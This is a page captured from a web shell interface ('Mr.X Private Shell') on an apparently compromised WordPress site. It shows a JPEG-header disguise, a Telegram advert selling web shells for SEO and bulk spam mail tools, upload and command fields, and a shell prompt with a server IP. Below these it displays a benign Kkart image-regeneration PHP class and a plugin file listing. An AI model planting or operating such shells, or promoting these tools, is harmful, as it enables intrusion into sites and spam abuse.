����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php
/**
 * Regenerate Images Functionality
 *
 * All functionality pertaining to regenerating product images in realtime.
 *
 * @package Kkart\Classes
 * @version 3.5.0
 * @since   3.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Regenerate Images Class
 */
class KKART_Regenerate_Images {

	/**
	 * Background process to regenerate all images
	 *
	 * @var KKART_Regenerate_Images_Request
	 */
	protected static $background_process;

	/**
	 * Stores size being generated on the fly.
	 *
	 * @var string
	 */
	protected static $regenerate_size;

	/**
	 * Init function
	 */
	public static function init() {
		add_action( 'image_get_intermediate_size', array( __CLASS__, 'filter_image_get_intermediate_size' ), 10, 3 );
		add_filter( 'wp_generate_attachment_metadata', array( __CLASS__, 'add_uncropped_metadata' ) );
		add_filter( 'wp_get_attachment_image_src', array( __CLASS__, 'maybe_resize_image' ), 10, 4 );

		// Not required when Jetpack Photon is in use.
		if ( method_exists( 'Jetpack', 'is_module_active' ) && Jetpack::is_module_active( 'photon' ) ) {
			return;
		}

		if ( apply_filters( 'kkart_background_image_regeneration', true ) ) {
			include_once KKART_ABSPATH . 'includes/class-kkart-regenerate-images-request.php';

			self::$background_process = new KKART_Regenerate_Images_Request();

			add_action( 'admin_init', array( __CLASS__, 'regenerating_notice' ) );
			add_action( 'kkart_hide_regenerating_thumbnails_notice', array( __CLASS__, 'dismiss_regenerating_notice' ) );

			// Regenerate thumbnails in the background after settings changes. Not ran on multisite to avoid multiple simultanious jobs.
			if ( ! is_multisite() ) {
				add_action( 'customize_save_after', array( __CLASS__, 'maybe_regenerate_images' ) );
				add_action( 'after_switch_theme', array( __CLASS__, 'maybe_regenerate_images' ) );
			}
		}
	}

	/**
	 * If an intermediate size meta differs from the actual image size (settings were changed?) return false so the wrong size is not used.
	 *
	 * @param array  $data Size data.
	 * @param int    $attachment_id Attachment ID.
	 * @param string $size Size name.
	 * @return array
	 */
	public static function filter_image_get_intermediate_size( $data, $attachment_id, $size ) {
		if ( ! is_string( $size ) || ! in_array( $size, apply_filters( 'kkart_image_sizes_to_resize', array( 'kkart_thumbnail', 'kkart_gallery_thumbnail', 'kkart_single', 'shop_thumbnail', 'shop_catalog', 'shop_single' ) ), true ) ) {
			return $data;
		}

		// If we don't have sizes, we cannot proceed.
		if ( ! isset( $data['width'], $data['height'] ) ) {
			return $data;
		}

		// See if the image size has changed from our settings.
		if ( ! self::image_size_matches_settings( $data, $size ) ) {
			// If Photon is running we can just return false and let Jetpack handle regeneration.
			if ( method_exists( 'Jetpack', 'is_module_active' ) && Jetpack::is_module_active( 'photon' ) ) {
				return false;
			} else {
				// If we get here, Jetpack is not running and we don't have the correct image sized stored. Try to return closest match.
				$size_data = kkart_get_image_size( $size );
				return image_get_intermediate_size( $attachment_id, array( absint( $size_data['width'] ), absint( $size_data['height'] ) ) );
			}
		}
		return $data;
	}

	/**
	 * We need to track if uncropped was on or off when generating the images.
	 *
	 * @param array $meta_data Array of meta data.
	 * @return array
	 */
	public static function add_uncropped_metadata( $meta_data ) {
		$size_data = kkart_get_image_size( 'kkart_thumbnail' );
		if ( isset( $meta_data['sizes'], $meta_data['sizes']['kkart_thumbnail'] ) ) {
			$meta_data['sizes']['kkart_thumbnail']['uncropped'] = empty( $size_data['height'] );
		}
		return $meta_data;
	}

	/**
	 * See if an image's dimensions match actual settings.
	 *
	 * @param array  $image Image dimensions array.
	 * @param string $size Named size.
	 * @return bool True if they match. False if they do not (may trigger regen).
	 */
	protected static function image_size_matches_settings( $image, $size ) {
		$target_size = kkart_get_image_size( $size );
		$uncropped   = '' === $target_size['width'] || '' === $target_size['height'];

		if ( ! $uncropped ) {
			$ratio_match = wp_image_matches_ratio( $image['width'], $image['height'], $target_size['width'], $target_size['height'] );

			// Size is invalid if the widths or crop setting don't match.
			if ( $ratio_match && $target_size['width'] !== $image['width'] ) {
				return false;
			}

			// Size is invalid if the heights don't match.
			if ( $ratio_match && $target_size['height'] && $target_size['height'] !== $image['height'] ) {
				return false;
			}
		}

		// If cropping mode has changed, regenerate the image.
		if ( $uncropped && empty( $image['uncropped'] ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Show notice when job is running in background.
	 */
	public static function regenerating_notice() {
		if ( ! self::$background_process->is_running() ) {
			KKART_Admin_Notices::add_notice( 'regenerating_thumbnails' );
		} else {
			KKART_Admin_Notices::remove_notice( 'regenerating_thumbnails' );
		}
	}

	/**
	 * Dismiss notice and cancel jobs.
	 */
	public static function dismiss_regenerating_notice() {
		if ( self::$background_process ) {
			self::$background_process->kill_process();

			$log = kkart_get_logger();
			$log->info(
				__( 'Cancelled product image regeneration job.', 'kkart' ),
				array(
					'source' => 'kkart-image-regeneration',
				)
			);
		}
		KKART_Admin_Notices::remove_notice( 'regenerating_thumbnails' );
	}

	/**
	 * Regenerate images if the settings have changed since last re-generation.
	 *
	 * @return void
	 */
	public static function maybe_regenerate_images() {
		$size_hash = md5(
			wp_json_encode(
				array(
					kkart_get_image_size( 'thumbnail' ),
					kkart_get_image_size( 'single' ),
					kkart_get_image_size( 'gallery_thumbnail' ),
				)
			)
		);

		if ( update_option( 'kkart_maybe_regenerate_images_hash', $size_hash ) ) {
			// Size settings have changed. Trigger regen.
			self::queue_image_regeneration();
		}
	}

	/**
	 * Check if we should maybe generate a new image size if not already there.
	 *
	 * @param array        $image Properties of the image.
	 * @param int          $attachment_id Attachment ID.
	 * @param string|array $size Image size.
	 * @param bool         $icon If icon or not.
	 * @return array
	 */
	public static function maybe_resize_image( $image, $attachment_id, $size, $icon ) {
		if ( ! apply_filters( 'kkart_resize_images', true ) ) {
			return $image;
		}

		// List of sizes we want to resize. Ignore others.
		if ( ! $image || ! in_array( $size, apply_filters( 'kkart_image_sizes_to_resize', array( 'kkart_thumbnail', 'kkart_gallery_thumbnail', 'kkart_single', 'shop_thumbnail', 'shop_catalog', 'shop_single' ) ), true ) ) {
			return $image;
		}

		$target_size      = kkart_get_image_size( $size );
		$image_width      = $image[1];
		$image_height     = $image[2];
		$ratio_match      = false;
		$target_uncropped = '' === $target_size['width'] || '' === $target_size['height'] || ! $target_size['crop'];

		// If '' is passed to either size, we test ratios against the original file. It's uncropped.
		if ( $target_uncropped ) {
			$full_size = self::get_full_size_image_dimensions( $attachment_id );

			if ( ! $full_size || ! $full_size['width'] || ! $full_size['height'] ) {
				return $image;
			}

			$ratio_match = wp_image_matches_ratio( $image_width, $image_height, $full_size['width'], $full_size['height'] );
		} else {
			$ratio_match = wp_image_matches_ratio( $image_width, $image_height, $target_size['width'], $target_size['height'] );
		}

		if ( ! $ratio_match ) {
			$full_size = self::get_full_size_image_dimensions( $attachment_id );

			if ( ! $full_size ) {
				return $image;
			}

			// Check if the actual image has a larger dimension than the requested image size. Smaller images are not zoom-cropped.
			if ( $image_width === $target_size['width'] && $full_size['height'] < $target_size['height'] ) {
				return $image;
			}

			if ( $image_height === $target_size['height'] && $full_size['width'] < $target_size['width'] ) {
				return $image;
			}

			// If the full size image is smaller both ways, don't scale it up.
			if ( $full_size['height'] < $target_size['height'] && $full_size['width'] < $target_size['width'] ) {
				return $image;
			}

			return self::resize_and_return_image( $attachment_id, $image, $size, $icon );
		}

		return $image;
	}

	/**
	 * Get full size image dimensions.
	 *
	 * @param int $attachment_id Attachment ID of image.
	 * @return array Width and height. Empty array if the dimensions cannot be found.
	 */
	private static function get_full_size_image_dimensions( $attachment_id ) {
		$imagedata = wp_get_attachment_metadata( $attachment_id );

		if ( ! $imagedata ) {
			return array();
		}

		if ( ! isset( $imagedata['file'] ) && isset( $imagedata['sizes']['full'] ) ) {
			$imagedata['height'] = $imagedata['sizes']['full']['height'];
			$imagedata['width']  = $imagedata['sizes']['full']['width'];
		}

		return array(
			'width'  => $imagedata['width'],
			'height' => $imagedata['height'],
		);
	}

	/**
	 * Ensure we are dealing with the correct image attachment
	 *
	 * @param int|WP_Post $attachment Attachment object or ID.
	 * @return boolean
	 */
	public static function is_regeneratable( $attachment ) {
		if ( 'site-icon' === get_post_meta( is_object( $attachment ) ? $attachment->ID : $attachment, '_wp_attachment_context', true ) ) {
			return false;
		}

		if ( wp_attachment_is_image( $attachment ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Only regenerate images for the requested size.
	 *
	 * @param array $sizes Array of image sizes.
	 * @return array
	 */
	public static function adjust_intermediate_image_sizes( $sizes ) {
		return array( self::$regenerate_size );
	}

	/**
	 * Generate the thumbnail filename and dimensions for a given file.
	 *
	 * @param string $fullsizepath Path to full size image.
	 * @param int    $thumbnail_width  The width of the thumbnail.
	 * @param int    $thumbnail_height The height of the thumbnail.
	 * @param bool   $crop             Whether to crop or not.
	 * @return array|false An array of the filename, thumbnail width, and thumbnail height, or false on failure to resize such as the thumbnail being larger than the fullsize image.
	 */
	private static function get_image( $fullsizepath, $thumbnail_width, $thumbnail_height, $crop ) {
		list( $fullsize_width, $fullsize_height ) = getimagesize( $fullsizepath );

		$dimensions = image_resize_dimensions( $fullsize_width, $fullsize_height, $thumbnail_width, $thumbnail_height, $crop );
		$editor     = wp_get_image_editor( $fullsizepath );

		if ( is_wp_error( $editor ) ) {
			return false;
		}

		if ( ! $dimensions || ! is_array( $dimensions ) ) {
			return false;
		}

		list( , , , , $dst_w, $dst_h ) = $dimensions;
		$suffix                        = "{$dst_w}x{$dst_h}";
		$file_ext                      = strtolower( pathinfo( $fullsizepath, PATHINFO_EXTENSION ) );

		return array(
			'filename' => $editor->generate_filename( $suffix, null, $file_ext ),
			'width'    => $dst_w,
			'height'   => $dst_h,
		);
	}

	/**
	 * Regenerate the image according to the required size
	 *
	 * @param int    $attachment_id Attachment ID.
	 * @param array  $image Original Image.
	 * @param string $size Size to return for new URL.
	 * @param bool   $icon If icon or not.
	 * @return string
	 */
	private static function resize_and_return_image( $attachment_id, $image, $size, $icon ) {
		if ( ! self::is_regeneratable( $attachment_id ) ) {
			return $image;
		}

		$fullsizepath = get_attached_file( $attachment_id );

		if ( false === $fullsizepath || is_wp_error( $fullsizepath ) || ! file_exists( $fullsizepath ) ) {
			return $image;
		}

		if ( ! function_exists( 'wp_crop_image' ) ) {
			include KKART_ADMIN_DIR . 'includes/image.php';
		}

		self::$regenerate_size = is_customize_preview() ? $size . '_preview' : $size;

		if ( is_customize_preview() ) {
			$image_size = kkart_get_image_size( $size );

			// Make sure registered image size matches the size we're requesting.
			add_image_size( self::$regenerate_size, absint( $image_size['width'] ), absint( $image_size['height'] ), $image_size['crop'] );

			$thumbnail = self::get_image( $fullsizepath, absint( $image_size['width'] ), absint( $image_size['height'] ), $image_size['crop'] );

			// If the file is already there perhaps just load it if we're using the customizer. No need to store in meta data.
			if ( $thumbnail && file_exists( $thumbnail['filename'] ) ) {
				$wp_uploads     = wp_upload_dir( null, false );
				$wp_uploads_dir = $wp_uploads['basedir'];
				$wp_uploads_url = $wp_uploads['baseurl'];

				return array(
					0 => str_replace( $wp_uploads_dir, $wp_uploads_url, $thumbnail['filename'] ),
					1 => $thumbnail['width'],
					2 => $thumbnail['height'],
				);
			}
		}

		$metadata = wp_get_attachment_metadata( $attachment_id );

		// Fix for images with no metadata.
		if ( ! is_array( $metadata ) ) {
			$metadata = array();
		}

		// We only want to regen a specific image size.
		add_filter( 'intermediate_image_sizes', array( __CLASS__, 'adjust_intermediate_image_sizes' ) );

		// This function will generate the new image sizes.
		$new_metadata = wp_generate_attachment_metadata( $attachment_id, $fullsizepath );

		// Remove custom filter.
		remove_filter( 'intermediate_image_sizes', array( __CLASS__, 'adjust_intermediate_image_sizes' ) );

		// If something went wrong lets just return the original image.
		if ( is_wp_error( $new_metadata ) || empty( $new_metadata ) ) {
			return $image;
		}

		if ( isset( $new_metadata['sizes'][ self::$regenerate_size ] ) ) {
			$metadata['sizes'][ self::$regenerate_size ] = $new_metadata['sizes'][ self::$regenerate_size ];
			wp_update_attachment_metadata( $attachment_id, $metadata );
		}

		// Now we've done our regen, attempt to return the new size.
		$new_image = self::unfiltered_image_downsize( $attachment_id, self::$regenerate_size );

		return $new_image ? $new_image : $image;
	}

	/**
	 * Image downsize, without this classes filtering on the results.
	 *
	 * @param int    $attachment_id Attachment ID.
	 * @param string $size Size to downsize to.
	 * @return string New image URL.
	 */
	private static function unfiltered_image_downsize( $attachment_id, $size ) {
		remove_action( 'image_get_intermediate_size', array( __CLASS__, 'filter_image_get_intermediate_size' ), 10, 3 );

		$return = image_downsize( $attachment_id, $size );

		add_action( 'image_get_intermediate_size', array( __CLASS__, 'filter_image_get_intermediate_size' ), 10, 3 );

		return $return;
	}

	/**
	 * Get list of images and queue them for regeneration
	 *
	 * @return void
	 */
	public static function queue_image_regeneration() {
		global $wpdb;
		// First lets cancel existing running queue to avoid running it more than once.
		self::$background_process->kill_process();

		// Now lets find all product image attachments IDs and pop them onto the queue.
		$images = $wpdb->get_results( // @codingStandardsIgnoreLine
			"SELECT ID
			FROM $wpdb->posts
			WHERE post_type = 'attachment'
			AND post_mime_type LIKE 'image/%'
			ORDER BY ID DESC"
		);
		foreach ( $images as $image ) {
			self::$background_process->push_to_queue(
				array(
					'attachment_id' => $image->ID,
				)
			);
		}

		// Lets dispatch the queue to start processing.
		self::$background_process->save()->dispatch();
	}
}

add_action( 'init', array( 'KKART_Regenerate_Images', 'init' ) );

Filemanager

Name Type Size Permission Actions
abstracts Folder 0755
admin Folder 0755
cli Folder 0755
customizer Folder 0755
data-stores Folder 0755
emails Folder 0755
export Folder 0755
gateways Folder 0755
import Folder 0755
integrations Folder 0755
interfaces Folder 0755
legacy Folder 0755
libraries Folder 0755
log-handlers Folder 0755
payment-tokens Folder 0755
queue Folder 0755
rest-api Folder 0755
shipping Folder 0755
shortcodes Folder 0755
theme-support Folder 0755
tracks Folder 0755
traits Folder 0755
walkers Folder 0755
wccom-site Folder 0755
widgets Folder 0755
body-props-settings.php File 8.18 KB 0644
class-kkart-ajax.php File 128.26 KB 0644
class-kkart-api.php File 4.97 KB 0644
class-kkart-auth.php File 11.66 KB 0644
class-kkart-autoloader.php File 2.78 KB 0644
class-kkart-background-emailer.php File 4.59 KB 0644
class-kkart-background-updater.php File 3.5 KB 0644
class-kkart-breadcrumb.php File 9.46 KB 0644
class-kkart-cache-helper.php File 10.71 KB 0644
class-kkart-cart-fees.php File 3.42 KB 0644
class-kkart-cart-session.php File 14.46 KB 0644
class-kkart-cart-totals.php File 27.72 KB 0644
class-kkart-cart.php File 63.24 KB 0644
class-kkart-checkout.php File 44.59 KB 0644
class-kkart-cli.php File 1.02 KB 0644
class-kkart-comments.php File 12.99 KB 0644
class-kkart-countries.php File 42.21 KB 0644
class-kkart-coupon.php File 32.57 KB 0644
class-kkart-customer-download-log.php File 3.38 KB 0644
class-kkart-customer-download.php File 10.36 KB 0644
class-kkart-customer.php File 27.24 KB 0644
class-kkart-data-exception.php File 1.28 KB 0644
class-kkart-data-store.php File 5.88 KB 0644
class-kkart-datetime.php File 2.2 KB 0644
class-kkart-deprecated-action-hooks.php File 6.54 KB 0644
class-kkart-deprecated-filter-hooks.php File 6.26 KB 0644
class-kkart-discounts.php File 30.96 KB 0644
class-kkart-download-handler.php File 23.37 KB 0644
class-kkart-emails.php File 22.17 KB 0644
class-kkart-embed.php File 4.18 KB 0644
class-kkart-form-handler.php File 43.73 KB 0644
class-kkart-frontend-scripts.php File 26 KB 0644
class-kkart-geo-ip.php File 30.43 KB 0644
class-kkart-geolite-integration.php File 1.99 KB 0644
class-kkart-geolocation.php File 10.34 KB 0644
class-kkart-https.php File 4.29 KB 0644
class-kkart-install.php File 53.84 KB 0644
class-kkart-integrations.php File 1.29 KB 0644
class-kkart-log-levels.php File 2.54 KB 0644
class-kkart-logger.php File 8.21 KB 0644
class-kkart-meta-data.php File 2.18 KB 0644
class-kkart-order-factory.php File 3.14 KB 0644
class-kkart-order-item-coupon.php File 4.02 KB 0644
class-kkart-order-item-fee.php File 8.7 KB 0644
class-kkart-order-item-meta.php File 5.8 KB 0644
class-kkart-order-item-product.php File 13.05 KB 0644
class-kkart-order-item-shipping.php File 7.75 KB 0644
class-kkart-order-item-tax.php File 6.44 KB 0644
class-kkart-order-item.php File 10.69 KB 0644
class-kkart-order-query.php File 2.52 KB 0644
class-kkart-order-refund.php File 4.89 KB 0644
class-kkart-order.php File 61.03 KB 0644
class-kkart-payment-gateways.php File 5.24 KB 0644
class-kkart-payment-tokens.php File 5.91 KB 0644
class-kkart-post-data.php File 17.81 KB 0644
class-kkart-post-types.php File 26.49 KB 0644
class-kkart-privacy-background-process.php File 1.69 KB 0644
class-kkart-privacy-erasers.php File 13.28 KB 0644
class-kkart-privacy-exporters.php File 14.12 KB 0644
class-kkart-privacy.php File 14.86 KB 0644
class-kkart-product-attribute.php File 6.89 KB 0644
class-kkart-product-download.php File 6.01 KB 0644
class-kkart-product-external.php File 4.77 KB 0644
class-kkart-product-factory.php File 3.6 KB 0644
class-kkart-product-grouped.php File 5.19 KB 0644
class-kkart-product-query.php File 2.17 KB 0644
class-kkart-product-simple.php File 1.85 KB 0644
class-kkart-product-variable.php File 21.47 KB 0644
class-kkart-product-variation.php File 17.2 KB 0644
class-kkart-query.php File 30.4 KB 0644
class-kkart-rate-limiter.php File 2.08 KB 0644
class-kkart-regenerate-images-request.php File 8.17 KB 0644
class-kkart-regenerate-images.php File 15.24 KB 0644
class-kkart-register-wp-admin-settings.php File 4.87 KB 0644
class-kkart-rest-authentication.php File 19.35 KB 0644
class-kkart-rest-exception.php File 273 B 0644
class-kkart-session-handler.php File 10.57 KB 0644
class-kkart-shipping-rate.php File 5.26 KB 0644
class-kkart-shipping-zone.php File 13.09 KB 0644
class-kkart-shipping-zones.php File 4.07 KB 0644
class-kkart-shipping.php File 11.33 KB 0644
class-kkart-shortcodes.php File 17.21 KB 0644
class-kkart-structured-data.php File 17.2 KB 0644
class-kkart-tax.php File 35.84 KB 0644
class-kkart-template-loader.php File 18.44 KB 0644
class-kkart-tracker.php File 22.51 KB 0644
class-kkart-validation.php File 5.83 KB 0644
class-kkart-webhook.php File 29.85 KB 0644
class-kkart.php File 31.28 KB 0644
kkart-account-functions.php File 12.69 KB 0644
kkart-attribute-functions.php File 20.59 KB 0644
kkart-cart-functions.php File 17.27 KB 0644
kkart-conditional-functions.php File 11.8 KB 0644
kkart-core-functions.php File 82.04 KB 0644
kkart-coupon-functions.php File 2.65 KB 0644
kkart-formatting-functions.php File 41.61 KB 0644
kkart-notice-functions.php File 7.44 KB 0644
kkart-order-functions.php File 33.53 KB 0644
kkart-order-item-functions.php File 5.06 KB 0644
kkart-page-functions.php File 6.92 KB 0644
kkart-product-functions.php File 47.3 KB 0644
kkart-rest-functions.php File 10.62 KB 0644
kkart-stock-functions.php File 12.45 KB 0644
kkart-template-functions.php File 164.64 KB 0644
kkart-template-hooks.php File 11.06 KB 0644
kkart-term-functions.php File 19.45 KB 0644
kkart-update-functions.php File 64.88 KB 0644
kkart-user-functions.php File 26.58 KB 0644
kkart-webhook-functions.php File 5.58 KB 0644
kkart-widget-functions.php File 2.08 KB 0644
premium.php File 943 B 0644
premium_functions.php File 957 B 0644
shortcode_functions.php File 71.11 KB 0644
shortcodes.php File 265.74 KB 0644
template.php File 2.85 KB 0644